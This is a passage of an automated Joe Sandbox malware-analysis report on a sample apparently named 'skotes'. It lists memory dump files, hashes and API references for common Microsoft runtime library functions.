Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 7e4444f0319bd4bde2eff1d0926cda18c73d2654aef0a1e8cb84e499a5e4bf9f
Instruction ID: af8bc0c61c7b9dbcf844dda4c1cfab1793beb424505ea284997477d5ecddf96f
Opcode Fuzzy Hash: 7e4444f0319bd4bde2eff1d0926cda18c73d2654aef0a1e8cb84e499a5e4bf9f
Instruction Fuzzy Hash: 09C1F3799043449FDF21DFB4C945BAEBBF4EF16310F04452EE41697682EB31AA48CBA1

Function 001B44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001B4538
ListArray.LIBCONCRT ref: 001B456C
Hash.LIBCMT ref: 001B45D5
Hash.LIBCMT ref: 001B45E5

Part of subcall function 001B9C41: std::bad_exception::bad_exception.LIBCMT ref: 001B9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 001B474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 001B47A4

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 50951fad904251fd822ef07c38db74a00b9fa6131bfa8a159f1a16550304e668
Instruction ID: 74ab11ca7dd9d102f29ff12f9c8ad0ff52275ef1e56d57190a815a237275bd7c
Opcode Fuzzy Hash: 50951fad904251fd822ef07c38db74a00b9fa6131bfa8a159f1a16550304e668
Instruction Fuzzy Hash: 3E8161B0A11B52BBD708DF74C981BDAFBA8BF19704F10421AF528D7281DBB4A524CBD1

Function 001AECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 001AECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 001AED17

Part of subcall function 001AF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 001AF3FA

__alloca_probe_16.LIBCMT ref: 001AED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 001AED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 001AEDC6
__freea.LIBCMT ref: 001AEDEC

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: ceab75c87b3e1623f54dec3d5bd0cd10658202b434bb4c3a8b00f7c2a5732f80
Instruction ID: e7616471e57e59fd361c53a4e7e2b23e535bac9aac50d6223ddfa071ac36f5eb
Opcode Fuzzy Hash: ceab75c87b3e1623f54dec3d5bd0cd10658202b434bb4c3a8b00f7c2a5732f80
Instruction Fuzzy Hash: 4A318F79A002058BCF15DFE8C9816AEB7F5AF5A310F25406EE445E7351DB349E02CB90

Function 001AEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001AEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 001AEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 001AEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 001AEF0F
Concurrency::Context::Block.LIBCONCRT ref: 001AEF31

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 6bd882c5859234c935533a1e0d4c5c8fa1a45d0c89667327b1409e039c81fc0f
Instruction ID: baa83379f36e68b09dd008ad5455f77363d3e93c4028e86de400bd472655ac18
Opcode Fuzzy Hash: 6bd882c5859234c935533a1e0d4c5c8fa1a45d0c89667327b1409e039c81fc0f
Instruction Fuzzy Hash: 37219578C14206CEDF28DFA4C8456EEB7F0FF26320F10092EE161A61D1E7714A44CB50

Function 001C1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 001C1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001C1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001C1C2A

Strings

switchState, xrefs: 001C1B5E
pContext, xrefs: 001C1C22

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
